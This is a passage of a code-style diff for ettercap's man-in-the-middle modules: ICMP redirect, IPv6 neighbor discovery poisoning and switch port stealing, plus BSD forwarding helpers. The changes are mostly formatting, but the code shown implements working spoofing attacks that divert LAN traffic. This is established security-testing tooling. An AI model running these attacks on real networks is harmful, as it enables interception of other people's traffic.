(compile_target(temp, &redirected_gw) != E_SUCCESS) SEMIFATAL_ERROR("Wrong target parameter"); } @@ -94,15 +93,14 @@ static int icmp_redirect_start(char *args) return E_SUCCESS; } - /* * shut down the redirect process */ static void icmp_redirect_stop(void) { - + DEBUG_MSG("icmp_redirect_stop"); - + USER_MSG("ICMP redirect stopped.\n"); /* delete the hook points */ @@ -125,36 +123,33 @@ static void icmp_redirect(struct packet_object *po) /* retrieve the gw ip */ i = LIST_FIRST(&redirected_gw.ips); - + /* the packet must be directed to the gateway */ if (memcmp(po->L2.dst, redirected_gw.mac, MEDIA_ADDR_LEN)) return; - /* + /* * if the packet endpoint is the gateway, skip it. - * we are interested only in packet going THRU the + * we are interested only in packet going THRU the * gateway, not TO the gateway */ if (!ip_addr_cmp(&po->L3.dst, &i->ip)) return; - - /* redirect only the connection that match the TARGETS */ + + /* redirect only the connection that match the TARGETS */ EXECUTE(GBL_SNIFF->interesting, po); - + /* the packet is not interesting */ - if ( po->flags & PO_IGNORE ) + if (po->flags & PO_IGNORE) return; - + USER_MSG("ICMP redirected %s:%d -> ", ip_addr_ntoa(&po->L3.src, tmp), ntohs(po->L4.src)); USER_MSG("%s:%d\n", ip_addr_ntoa(&po->L3.dst, tmp), ntohs(po->L4.dst)); /* send the ICMP redirect */ send_icmp_redir(ICMP_REDIRECT_HOST, &i->ip, &GBL_IFACE->ip, po); - } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/mitm/ec_ip6nd_poison.c b/src/mitm/ec_ip6nd_poison.c index 81ca13260..83caccd1f 100644 --- a/src/mitm/ec_ip6nd_poison.c +++ b/src/mitm/ec_ip6nd_poison.c @@ -20,13 +20,13 @@ struct hosts_group ndp_group_one; struct hosts_group ndp_group_two; #if 0 -static LIST_HEAD(,ip_list) ping_list_one; -static LIST_HEAD(,ip_list) ping_list_two; +static LIST_HEAD(, ip_list) ping_list_one; +static LIST_HEAD(, ip_list) ping_list_two; #endif u_int8 flags; -#define ND_ONEWAY ((u_int8)(1<<0)) -#define ND_ROUTER ((u_int8)(1<<2)) +#define ND_ONEWAY ((u_int8)(1 << 0)) +#define ND_ROUTER ((u_int8)(1 << 2)) /* protos */ void ndp_poison_init(void); @@ -65,11 +65,11 @@ static int ndp_poison_start(char *args) flags = ND_ROUTER; - if(strcmp(args, "")) { - for(p = strsep(&args, ","); p != NULL; p = strsep(&args, ",")) { - if(!strcasecmp(p, "remote")) + if (strcmp(args, "")) { + for (p = strsep(&args, ","); p != NULL; p = strsep(&args, ",")) { + if (!strcasecmp(p, "remote")) GBL_OPTIONS->remote = 1; - else if(!strcasecmp(p, "oneway")) + else if (!strcasecmp(p, "oneway")) flags |= ND_ONEWAY; else SEMIFATAL_ERROR("NDP poisoning: incorrect arguments.\n"); @@ -79,7 +79,7 @@ static int ndp_poison_start(char *args) } /* we need the host list */ - if (LIST_EMPTY(&GBL_HOSTLIST)) + if (LIST_EMPTY(&GBL_HOSTLIST)) SEMIFATAL_ERROR("NDP poisoning needs a non-emtpy hosts list.\n"); /* clean the lists */ @@ -92,9 +92,9 @@ static int ndp_poison_start(char *args) SAFE_FREE(h); } - if(GBL_OPTIONS->silent) { + if (GBL_OPTIONS->silent) { ret = create_list_silent(); - } else + } else ret = create_list(); if (ret != E_SUCCESS) { @@ -113,9 +113,9 @@ static void ndp_poison_stop(void) pthread_t pid; DEBUG_MSG("ndp_poison_stop"); - + pid = ec_thread_getpid("ndp_poisoner"); - if(!pthread_equal(pid, EC_PTHREAD_NULL)) + if (!pthread_equal(pid, EC_PTHREAD_NULL)) ec_thread_destroy(pid); else { DEBUG_MSG("no poisoner thread found"); @@ -130,14 +130,14 @@ static void ndp_poison_stop(void) ui_msg_flush(2); /* delete the elements in the first list */ - while(LIST_FIRST(&ndp_group_one) != NULL) { + while (LIST_FIRST(&ndp_group_one) != NULL) { h = LIST_FIRST(&ndp_group_one); LIST_REMOVE(h, next); SAFE_FREE(h); } /* delete the elements in the second list */ - while(LIST_FIRST(&ndp_group_two) != NULL) { + while (LIST_FIRST(&ndp_group_two) != NULL) { h = LIST_FIRST(&ndp_group_two); LIST_REMOVE(h, next); SAFE_FREE(h); @@ -155,21 +155,21 @@ EC_THREAD_FUNC(ndp_poisoner) struct hosts_list *t1, *t2; /* variable not used */ - (void) EC_THREAD_PARAM; + (void)EC_THREAD_PARAM; ec_thread_init(); DEBUG_MSG("ndp_poisoner"); /* it's a loop */ LOOP { - + CANCELLATION_POINT(); /* Here we go! */ LIST_FOREACH(t1, &ndp_group_one, next) { LIST_FOREACH(t2, &ndp_group_two, next) { - if(!ip_addr_cmp(&t1->ip, &t2->ip)) + if (!ip_addr_cmp(&t1->ip, &t2->ip)) continue; if (!GBL_CONF->ndp_poison_equal_mac) @@ -177,19 +177,19 @@ EC_THREAD_FUNC(ndp_poisoner) if (!memcmp(t1->mac, t2->mac, MEDIA_ADDR_LEN)) continue; - /* + /* * send spoofed ICMP packet to trigger a neighbor cache * entry in the victims cache */ - if (i == 1 && GBL_CONF->ndp_poison_icmp) { - send_L2_icmp6_echo(&t2->ip, &t1->ip, t1->mac); - /* from T2 to T1 */ - if (!(flags & ND_ONEWAY)) - send_L2_icmp6_echo(&t1->ip, &t2->ip, t2->mac); - } + if (i == 1 && GBL_CONF->ndp_poison_icmp) { + send_L2_icmp6_echo(&t2->ip, &t1->ip, t1->mac); + /* from T2 to T1 */ + if (!(flags & ND_ONEWAY)) + send_L2_icmp6_echo(&t1->ip, &t2->ip, t2->mac); + } send_L2_icmp6_nadv(&t1->ip, &t2->ip, GBL_IFACE->mac, flags, t2->mac); - if(!(flags & ND_ONEWAY)) + if (!(flags & ND_ONEWAY)) send_L2_icmp6_nadv(&t2->ip, &t1->ip, GBL_IFACE->mac, flags & ND_ROUTER, t1->mac); ec_usleep(GBL_CONF->ndp_poison_send_delay); @@ -200,10 +200,8 @@ EC_THREAD_FUNC(ndp_poisoner) if (i < 5) { i++; ec_usleep(SEC2MICRO(GBL_CONF->ndp_poison_warm_up)); - } - else + } else ec_usleep(SEC2MICRO(GBL_CONF->ndp_poison_delay)); - } return NULL; @@ -220,7 +218,6 @@ static int create_list(void) USER_MSG("\nNDP poisoning victims:\n\n"); - /* the first group */ LIST_FOREACH(i, &GBL_TARGET1->ip6, next) { /* walk through TARGET1 selected IPv6 addresses */ @@ -228,8 +225,8 @@ static int create_list(void) /* search matching entry in host list */ if (!ip_addr_cmp(&i->ip, &h->ip)) { USER_MSG(" GROUP 1 : %s %s\n", - ip_addr_ntoa(&h->ip, tmp), - mac_addr_ntoa(h->mac, tmp2)); + ip_addr_ntoa(&h->ip, tmp), + mac_addr_ntoa(h->mac, tmp2)); /* create element and insert into list */ SAFE_CALLOC(g, 1, sizeof(struct hosts_list)); @@ -251,7 +248,7 @@ static int create_list(void) LIST_FOREACH(h, &GBL_HOSTLIST, next) { /* only IPv6 addresses are applicable */ - if (ntohs(h->ip.addr_type) != AF_INET6) + if (ntohs(h->ip.addr_type) != AF_INET6) continue; /* create the element and insert into list */ @@ -270,13 +267,13 @@ static int create_list(void) /* if the target was specified */ LIST_FOREACH(i, &GBL_TARGET2->ip6, next) { - /* walk through TARGET1 selected IPv6 addresses */ + /* walk through TARGET1 selected IPv6 addresses */ LIST_FOREACH(h, &GBL_HOSTLIST, next) { /* search matching entry in host list */ if (!ip_addr_cmp(&i->ip, &h->ip)) { USER_MSG(" GROUP 2 : %s %s\n", - ip_addr_ntoa(&h->ip, tmp), - mac_addr_ntoa(h->mac, tmp2)); + ip_addr_ntoa(&h->ip, tmp), + mac_addr_ntoa(h->mac, tmp2)); /* create the element and insert in the list */ SAFE_CALLOC(g, 1, sizeof(struct hosts_list)); @@ -298,7 +295,7 @@ static int create_list(void) LIST_FOREACH(h, &GBL_HOSTLIST, next) { /* only IPv6 addresses are applicable */ - if (ntohs(h->ip.addr_type) != AF_INET6) + if (ntohs(h->ip.addr_type) != AF_INET6) continue; /* create the element and insert in the list */ @@ -324,7 +321,7 @@ static int create_list_silent(void) DEBUG_MSG("create_list_silent"); LIST_FOREACH(i, &GBL_TARGET1->ip6, next) { - if(ip_addr_is_local(&i->ip, NULL) == E_SUCCESS) { + if (ip_addr_is_local(&i->ip, NULL) == E_SUCCESS) { if (!memcmp(GBL_TARGET1->mac, "\x00\x00\x00\x00\x00\x00", MEDIA_ADDR_LEN)) { USER_MSG("\nERROR: MAC address must be specified in silent mode.\n"); return -E_FATAL; @@ -334,19 +331,18 @@ static int create_list_silent(void) memcpy(&h->mac, &GBL_TARGET1->mac, MEDIA_ADDR_LEN); LIST_INSERT_HEAD(&ndp_group_one, h, next); - USER_MSG(" TARGET 1 : %-40s %17s\n", - ip_addr_ntoa(&i->ip, tmp), - mac_addr_ntoa(GBL_TARGET1->mac, tmp2)); - } - else { - USER_MSG("%s is not local. NDP poisoning impossible\n", - ip_addr_ntoa(&i->ip, tmp)); + USER_MSG(" TARGET 1 : %-40s %17s\n", + ip_addr_ntoa(&i->ip, tmp), + mac_addr_ntoa(GBL_TARGET1->mac, tmp2)); + } else { + USER_MSG("%s is not local. NDP poisoning impossible\n", + ip_addr_ntoa(&i->ip, tmp)); return -E_FATAL; } } LIST_FOREACH(i, &GBL_TARGET2->ip6, next) { - if(ip_addr_is_local(&i->ip, NULL) == E_SUCCESS) { + if (ip_addr_is_local(&i->ip, NULL) == E_SUCCESS) { if (!memcmp(GBL_TARGET2->mac, "\x00\x00\x00\x00\x00\x00", MEDIA_ADDR_LEN)) { USER_MSG("\nERROR: MAC address must be specified in silent mode.\n"); return -E_FATAL; @@ -356,13 +352,12 @@ static int create_list_silent(void) memcpy(&h->mac, &GBL_TARGET2->mac, MEDIA_ADDR_LEN); LIST_INSERT_HEAD(&ndp_group_two, h, next); - USER_MSG(" TARGET 2 : %-40s %17s\n", - ip_addr_ntoa(&i->ip, tmp), - mac_addr_ntoa(GBL_TARGET2->mac, tmp2)); - } - else { - USER_MSG("%s is not local. NDP poisoning impossible\n", - ip_addr_ntoa(&i->ip, tmp)); + USER_MSG(" TARGET 2 : %-40s %17s\n", + ip_addr_ntoa(&i->ip, tmp), + mac_addr_ntoa(GBL_TARGET2->mac, tmp2)); + } else { + USER_MSG("%s is not local. NDP poisoning impossible\n", + ip_addr_ntoa(&i->ip, tmp)); } } @@ -378,12 +373,12 @@ static void ndp_antidote(void) DEBUG_MSG("ndp_antidote"); /* do it twice */ - for(i = 0; i < 2; i++) { + for (i = 0; i < 2; i++) { LIST_FOREACH(h1, &ndp_group_one, next) { LIST_FOREACH(h2, &ndp_group_two, next) { - + /* skip equal ip */ - if(!ip_addr_cmp(&h1->ip, &h2->ip)) + if (!ip_addr_cmp(&h1->ip, &h2->ip)) continue; if (!GBL_CONF->ndp_poison_equal_mac) @@ -393,7 +388,7 @@ static void ndp_antidote(void) /* send neighbor advertisements with the correct information */ send_L2_icmp6_nadv(&h1->ip, &h2->ip, h1->mac, flags, h2->mac); - if(!(flags & ND_ONEWAY)) + if (!(flags & ND_ONEWAY)) send_L2_icmp6_nadv(&h2->ip, &h1->ip, h2->mac, flags & ND_ROUTER, h1->mac); ec_usleep(GBL_CONF->ndp_poison_send_delay); @@ -404,8 +399,8 @@ static void ndp_antidote(void) } } -/* - * This function has been written by the initial author but +/* + * This function has been written by the initial author but * doesn't seem to be necessary as ND poisoning has been brought * to a working state - keeping the code just in case - 2013-12-31 */ @@ -416,16 +411,16 @@ static void catch_response(struct packet_object *po) struct ip_list *i; /* if it is not response to our ping */ - if(ip_addr_is_ours(&po->L3.dst) != E_FOUND) - return; + if (ip_addr_is_ours(&po->L3.dst) != E_FOUND) + return; - /* + /* * search if the node address is in one of the ping lists * if so add the address to the poison list */ LIST_FOREACH(i, &ping_list_one, next) { /* the source is in the ping hosts list */ - if(!ip_addr_cmp(&po->L3.src, &i->ip)) { + if (!ip_addr_cmp(&po->L3.src, &i->ip)) { LIST_REMOVE(i, next); SAFE_CALLOC(h, 1, sizeof(struct hosts_list)); memcpy(&h->ip, &po->L3.src, sizeof(struct ip_addr)); @@ -436,7 +431,7 @@ static void catch_response(struct packet_object *po) } LIST_FOREACH(i, &ping_list_two, next) { - if(!ip_addr_cmp(&po->L3.src, &i->ip)) { + if (!ip_addr_cmp(&po->L3.src, &i->ip)) { LIST_REMOVE(i, next); SAFE_CALLOC(h, 1, sizeof(struct hosts_list)); memcpy(&h->ip, &po->L3.src, sizeof(struct ip_addr)); @@ -448,10 +443,11 @@ static void catch_response(struct packet_object *po) return; } + #endif -/* - * This function has been written by the initial author but +/* + * This function has been written by the initial author but * doesn't seem to be necessary as ND poisoning has been brought * to a working state - keeping the code just in case - 2013-12-31 */ @@ -462,10 +458,10 @@ static void record_mac(struct packet_object *po) u_char *mac; struct hosts_list *h; - if(ip_addr_is_ours(&po->L3.src)) { + if (ip_addr_is_ours(&po->L3.src)) { ip = &po->L3.dst; mac = po->L2.dst; - } else if(ip_addr_is_ours(&po->L3.dst)) { + } else if (ip_addr_is_ours(&po->L3.dst)) { ip = &po->L3.src; mac = po->L2.src; } else { @@ -473,17 +469,18 @@ static void record_mac(struct packet_object *po) } LIST_FOREACH(h, &ndp_group_one, next) { - if(!ip_addr_cmp(&h->ip, ip)) { + if (!ip_addr_cmp(&h->ip, ip)) { memcpy(&h->mac, mac, MEDIA_ADDR_LEN); return; } } LIST_FOREACH(h, &ndp_group_two, next) { - if(!ip_addr_cmp(&h->ip, ip)) { + if (!ip_addr_cmp(&h->ip, ip)) { memcpy(&h->mac, mac, MEDIA_ADDR_LEN); return; } } } + #endif diff --git a/src/mitm/ec_port_stealing.c b/src/mitm/ec_port_stealing.c index 5a5aa2c7f..2b8ecb3cf 100644 --- a/src/mitm/ec_port_stealing.c +++ b/src/mitm/ec_port_stealing.c @@ -1,23 +1,23 @@ /* - ettercap -- Port Stealing mitm module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- Port Stealing mitm module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -27,14 +27,12 @@ #include #include - /* globals */ struct packet_list { struct packet_object *po; TAILQ_ENTRY(packet_list) next; }; - struct steal_list { struct ip_addr ip; u_char mac[MEDIA_ADDR_LEN]; @@ -46,34 +44,32 @@ struct steal_list { LIST_HEAD(, steal_list) steal_table; static int steal_tree; -struct eth_header -{ - u_int8 dha[ETH_ADDR_LEN]; /* destination eth addr */ - u_int8 sha[ETH_ADDR_LEN]; /* source ether addr */ - u_int16 proto; /* packet type ID field */ +struct eth_header { + u_int8 dha[ETH_ADDR_LEN]; /* destination eth addr */ + u_int8 sha[ETH_ADDR_LEN]; /* source ether addr */ + u_int16 proto; /* packet type ID field */ }; struct arp_header { - u_int16 ar_hrd; /* Format of hardware address. */ - u_int16 ar_pro; /* Format of protocol address. */ - u_int8 ar_hln; /* Length of hardware address. */ - u_int8 ar_pln; /* Length of protocol address. */ - u_int16 ar_op; /* ARP opcode (command). */ + u_int16 ar_hrd; /* Format of hardware address. */ + u_int16 ar_pro; /* Format of protocol address. */ + u_int8 ar_hln; /* Length of hardware address. */ + u_int8 ar_pln; /* Length of protocol address. */ + u_int16 ar_op; /* ARP opcode (command). */ #define ARPOP_REQUEST 1 /* ARP request. */ }; struct arp_eth_header { - u_int8 arp_sha[MEDIA_ADDR_LEN]; /* sender hardware address */ - u_int8 arp_spa[IP_ADDR_LEN]; /* sender protocol address */ - u_int8 arp_tha[MEDIA_ADDR_LEN]; /* target hardware address */ - u_int8 arp_tpa[IP_ADDR_LEN]; /* target protocol address */ + u_int8 arp_sha[MEDIA_ADDR_LEN]; /* sender hardware address */ + u_int8 arp_spa[IP_ADDR_LEN]; /* sender protocol address */ + u_int8 arp_tha[MEDIA_ADDR_LEN]; /* target hardware address */ + u_int8 arp_tpa[IP_ADDR_LEN]; /* target protocol address */ }; -#define FAKE_PCK_LEN sizeof(struct eth_header)+sizeof(struct arp_header)+sizeof(struct arp_eth_header) +#define FAKE_PCK_LEN sizeof(struct eth_header) + sizeof(struct arp_header) + sizeof(struct arp_eth_header) struct packet_object fake_po; char fake_pck[FAKE_PCK_LEN]; - /* protos */ void port_stealing_init(void); @@ -84,7 +80,6 @@ static void parse_received(struct packet_object *po); static void put_queue(struct packet_object *po); static void send_queue(struct packet_object *po); - /*******************************************/ /* @@ -99,23 +94,22 @@ void __init port_stealing_init(void) mm.name = "port"; mm.start = &port_stealing_start; mm.stop = &port_stealing_stop; - + mitm_add(&mm); } - /* * init the PORT STEALING attack */ static int port_stealing_start(char *args) -{ +{ struct hosts_list *h; struct steal_list *s; struct eth_header *heth; struct arp_header *harp; char *p; - char bogus_mac[6]="\x00\xe7\x7e\xe7\x7e\xe7"; - + char bogus_mac[6] = "\x00\xe7\x7e\xe7\x7e\xe7"; + DEBUG_MSG("port_stealing_start"); USER_MSG("\nPort Stealing: starting...\n\n"); @@ -125,30 +119,30 @@ static int port_stealing_start(char *args) if (strcmp(args, "")) { for (p = strsep(&args, ","); p != NULL; p = strsep(&args, ",")) { if (!strcasecmp(p, "remote")) { - /* - * allow sniffing of remote host even - * if the target is local (used for gw) - */ + /* + * allow sniffing of remote host even + * if the target is local (used for gw) + */ GBL_OPTIONS->remote = 1; } else if (!strcasecmp(p, "tree")) { - steal_tree = 1; + steal_tree = 1; } else { SEMIFATAL_ERROR("Port Stealing: paramenter incorrect.\n"); } } } - + /* Port Stealing works only on ethernet switches */ if (GBL_PCAP->dlt != IL_TYPE_ETH) SEMIFATAL_ERROR("Port Stealing does not support this media.\n"); - if (LIST_EMPTY(&GBL_HOSTLIST)) + if (LIST_EMPTY(&GBL_HOSTLIST)) SEMIFATAL_ERROR("Port stealing needs a non empty hosts list.\n"); - + /* Avoid sniffing loops. XXX - it remains even after mitm stopping */ capture_only_incoming(GBL_IFACE->pcap, GBL_IFACE->lnet); - - /* Create the port stealing list from hosts list */ + + /* Create the port stealing list from hosts list */ LIST_FOREACH(h, &GBL_HOSTLIST, next) { /* create the element and insert it in steal lists */ SAFE_CALLOC(s, 1, sizeof(struct steal_list)); @@ -158,15 +152,15 @@ static int port_stealing_start(char *args) LIST_INSERT_HEAD(&steal_table, s, next); } - /* Create the packet that will be sent for stealing. - * This is a fake ARP request. + /* Create the packet that will be sent for stealing. + * This is a fake ARP request. */ heth = (struct eth_header *)fake_pck; harp = (struct arp_header *)(heth + 1); /* If we use our MAC address we won't generate traffic * flooding on the LAN but we will reach only direct - * connected switch with the stealing process + * connected switch with the stealing process */ if (steal_tree) memcpy(heth->dha, bogus_mac, ETH_ADDR_LEN); @@ -178,10 +172,10 @@ static int port_stealing_start(char *args) harp->ar_pro = htons(ETHERTYPE_IP); harp->ar_hln = 6; harp->ar_pln = 4; - harp->ar_op = htons(ARPOP_REQUEST); + harp->ar_op = htons(ARPOP_REQUEST); + + packet_create_object(&fake_po, (u_char *)fake_pck, FAKE_PCK_LEN); - packet_create_object(&fake_po, (u_char*)fake_pck, FAKE_PCK_LEN); - /* Add the hooks: * - handle stealed packets (mark it as forwardable) * - put the packet in the send queue after "filtering" (send arp request, stop stealing) @@ -190,14 +184,13 @@ static int port_stealing_start(char *args) hook_add(HOOK_PACKET_ETH, &parse_received); hook_add(HOOK_PRE_FORWARD, &put_queue); hook_add(HOOK_PACKET_ARP_RP, &send_queue); - + /* create the stealing thread */ ec_thread_new("port_stealer", "Port Stealing module", &port_stealer, NULL); return E_SUCCESS; } - /* * shut down the poisoning process */ @@ -210,39 +203,39 @@ static void port_stealing_stop(void) int i; DEBUG_MSG("port_stealing_stop"); - + /* destroy the poisoner thread */ pid = ec_thread_getpid("port_stealer"); - + /* the thread is active or not ? */ if (!pthread_equal(pid, EC_PTHREAD_NULL)) ec_thread_destroy(pid); else return; - + /* Remove the Hooks */ hook_del(HOOK_PACKET_ETH, &parse_received); hook_del(HOOK_PRE_FORWARD, &put_queue); hook_del(HOOK_PACKET_ARP_RP, &send_queue); - + USER_MSG("Prot Stealing deactivated.\n"); USER_MSG("Restoring Switch tables...\n"); - + ui_msg_flush(2); - /* Restore Switch Tables (2 times) + /* Restore Switch Tables (2 times) * by sending arp requests. */ - for (i=0; i<2; i++) { + for (i = 0; i < 2; i++) { LIST_FOREACH(s, &steal_table, next) { send_arp(ARPOP_REQUEST, &GBL_IFACE->ip, GBL_IFACE->mac, &s->ip, MEDIA_BROADCAST); ec_usleep(MILLI2MICRO(GBL_CONF->arp_storm_delay)); - } + } } - + /* Free the stealing list */ LIST_FOREACH_SAFE(s, &steal_table, next, tmp_s) { - + /* Free the sending queue for each host */ TAILQ_FOREACH_SAFE(p, &s->packet_table, next, tmp_p) { packet_destroy_object(p->po); @@ -250,13 +243,12 @@ static void port_stealing_stop(void) SAFE_FREE(p->po); SAFE_FREE(p); } - + LIST_REMOVE(s, next); SAFE_FREE(s); } } - /* * the real Port Stealing thread */ @@ -264,35 +256,35 @@ EC_THREAD_FUNC(port_stealer) { struct steal_list *s; struct eth_header *heth; - + /* variable not used */ - (void) EC_THREAD_PARAM; + (void)EC_THREAD_PARAM; /* init the thread and wait for start up */ ec_thread_init(); - + heth = (struct eth_header *)fake_pck; /* never ending loop */ LOOP { - + CANCELLATION_POINT(); - + /* Walk the list and steal the ports */ LIST_FOREACH(s, &steal_table, next) { /* Steal only ports for hosts where no packet is in queue */ if (!s->wait_reply) { memcpy(heth->sha, s->mac, ETH_ADDR_LEN); - send_to_L2(&fake_po); + send_to_L2(&fake_po); /* FIXME: port_steal_delay is defined as seconds; not microseconds... */ ec_usleep(GBL_CONF->port_steal_delay); } - } + } /* FIXME: port_steal_delay is defined as seconds; not microseconds... */ ec_usleep(GBL_CONF->port_steal_delay); } - - return NULL; + + return NULL; } /* Check if it's a stolen packet */ @@ -321,10 +313,10 @@ static void put_queue(struct packet_object *po) if (po->flags & PO_DROPPED) return; - + LIST_FOREACH(s, &steal_table, next) { if (!memcmp(po->L2.dst, s->mac, ETH_ADDR_LEN)) { - + /* If the packet was not dropped stop the stealing * thread for this address, send the arp request * and put a duplicate in the host sending queue @@ -340,12 +332,12 @@ static void put_queue(struct packet_object *po) * raw packet len for L2 sending (just in * case of filters' modifications) */ - if (po->fwd_packet) + if (po->fwd_packet) po->len = po->fwd_len + sizeof(struct eth_header); - + p->po = packet_dup(po, PO_DUP_PACKET); TAILQ_INSERT_TAIL(&(s->packet_table), p, next); - + /* Avoid standard forwarding method */ po->flags |= PO_DROPPED; break; @@ -366,18 +358,18 @@ static void send_queue(struct packet_object *po) /* Check if it's an arp reply for us */ if (memcmp(po->L2.dst, GBL_IFACE->mac, MEDIA_ADDR_LEN)) return; - + LIST_FOREACH(s1, &steal_table, next) { if (!memcmp(po->L2.src, s1->mac, ETH_ADDR_LEN)) { /* If we was waiting for the reply it means * that there is a queue to be sent */ if (s1->wait_reply) { - /* Send the packet queue (starting from + /* Send the packet queue (starting from * the first received packet) */ TAILQ_FOREACH_SAFE(p, &s1->packet_table, next, tmp) { - /* If the source of the packet to send is not in the + /* If the source of the packet to send is not in the * stealing list, change the MAC address with ours */ in_list = 0; @@ -398,16 +390,16 @@ static void send_queue(struct packet_object *po) /* Send the packet on the wire */ send_to_L2(p->po); - /* Destroy the packet duplicate and remove + /* Destroy the packet duplicate and remove * it from the queue */ packet_destroy_object(p->po); TAILQ_REMOVE(&s1->packet_table, p, next); SAFE_FREE(p->po); SAFE_FREE(p); - + /* Sleep only if we have more than one packet to send */ - if (to_wait) + if (to_wait) ec_usleep(GBL_CONF->port_steal_send_delay); to_wait = 1; } @@ -419,8 +411,6 @@ static void send_queue(struct packet_object *po) } } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/os/ec_bsd.c b/src/os/ec_bsd.c index b45fb5505..35fb2ffd4 100644 --- a/src/os/ec_bsd.c +++ b/src/os/ec_bsd.c @@ -1,22 +1,22 @@ /* - ettercap -- bsd specific functions - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - - $Id$ -*/ + * ettercap -- bsd specific functions + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + * $Id$ + */ #include @@ -36,7 +36,7 @@ static int saved_status_v6; void disable_ip_forward(void) { - int mib[4]; + int mib[4]; int val = 0; size_t len; @@ -47,16 +47,15 @@ void disable_ip_forward(void) len = sizeof(saved_status); - if( (sysctl(mib, 4, &saved_status, &len, &val, sizeof(val))) == -1) + if ((sysctl(mib, 4, &saved_status, &len, &val, sizeof(val))) == -1) ERROR_MSG("sysctl() | net.inet.ip.forwarding"); DEBUG_MSG("disable_ip_forward | net.inet.ip.forwarding = %d old_value = %d\n", val, saved_status); - + atexit(restore_ip_forward); atexit(regain_privs_atexit); } - void restore_ip_forward(void) { int mib[4]; @@ -69,19 +68,18 @@ void restore_ip_forward(void) /* no need to restore anything */ if (saved_status == 0) return; - + /* restore the old value */ - if( (sysctl(mib, 4, NULL, NULL, &saved_status, sizeof(saved_status))) == -1) + if ((sysctl(mib, 4, NULL, NULL, &saved_status, sizeof(saved_status))) == -1) FATAL_ERROR("Please restore manually the value of net.inet.ip.forwarding to %d", saved_status); DEBUG_MSG("ATEXIT: restore_ip_forward | net.inet.ip.forwarding = %d\n", saved_status); - } #ifdef WITH_IPV6 void disable_ipv6_forward(void) { - int mib[4]; + int mib[4]; int val = 0; size_t len; @@ -92,16 +90,15 @@ void disable_ipv6_forward(void) len = sizeof(saved_status_v6); - if( (sysctl(mib, 4, &saved_status_v6, &len, &val, sizeof(val))) == -1) + if ((sysctl(mib, 4, &saved_status_v6, &len, &val, sizeof(val))) == -1) ERROR_MSG("sysctl() | net.inet6.ip6.forwarding"); - DEBUG_MSG("disable_ipv6_forward | net.inet6.ip6.forwarding = %d old_value = %d\n", - val, saved_status_v6); - + DEBUG_MSG("disable_ipv6_forward | net.inet6.ip6.forwarding = %d old_value = %d\n", + val, saved_status_v6); + atexit(restore_ipv6_forward); } - void restore_ipv6_forward(void) { int mib[4]; @@ -114,20 +111,20 @@ void restore_ipv6_forward(void) /* no need to restore anything */ if (saved_status_v6 == 0) return; - + /* restore the old value */ - if( (sysctl(mib, 4, NULL, NULL, &saved_status_v6, sizeof(saved_status_v6))) == -1) - FATAL_ERROR("Please restore manually the value of net.inet6.ip6.forwarding to %d", - saved_status_v6); + if ((sysctl(mib, 4, NULL, NULL, &saved_status_v6, sizeof(saved_status_v6))) == -1) + FATAL_ERROR("Please restore manually the value of net.inet6.ip6.forwarding to %d", + saved_status_v6); - DEBUG_MSG("ATEXIT: restore_ipv6_forward | net.inet6.ip6.forwarding = %d\n", - saved_status_v6); - + DEBUG_MSG("ATEXIT: restore_ipv6_forward | net.inet6.ip6.forwarding = %d\n", + saved_status_v6); } + #endif -/* - * get the MTU parameter from the interface +/* + * get the MTU parameter from the interface */ u_int16 get_iface_mtu(const char *iface) { @@ -137,25 +134,24 @@ u_int16 get_iface_mtu(const char *iface) /* open the socket to work on */ sock = socket(PF_INET, SOCK_DGRAM, 0); if (sock == -1) - FATAL_ERROR("Unable to open socket on interface for MTU query\n"); + FATAL_ERROR("Unable to open socket on interface for MTU query\n"); memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, sizeof(ifr.ifr_name)); - + /* get the MTU */ - if ( ioctl(sock, SIOCGIFMTU, &ifr) < 0) { + if (ioctl(sock, SIOCGIFMTU, &ifr) < 0) { DEBUG_MSG("get_iface_mtu: MTU FAILED... assuming 1500"); mtu = 1500; } else { DEBUG_MSG("get_iface_mtu: %d", ifr.ifr_mtu); mtu = ifr.ifr_mtu; } - + close(sock); - + return mtu; } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/os/ec_cygwin.c b/src/os/ec_cygwin.c index 5a2586ecc..a4a44b60c 100644 --- a/src/os/ec_cygwin.c +++ b/src/os/ec_cygwin.c @@ -1,21 +1,21 @@ /* - ettercap -- cygwin specific functions - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the 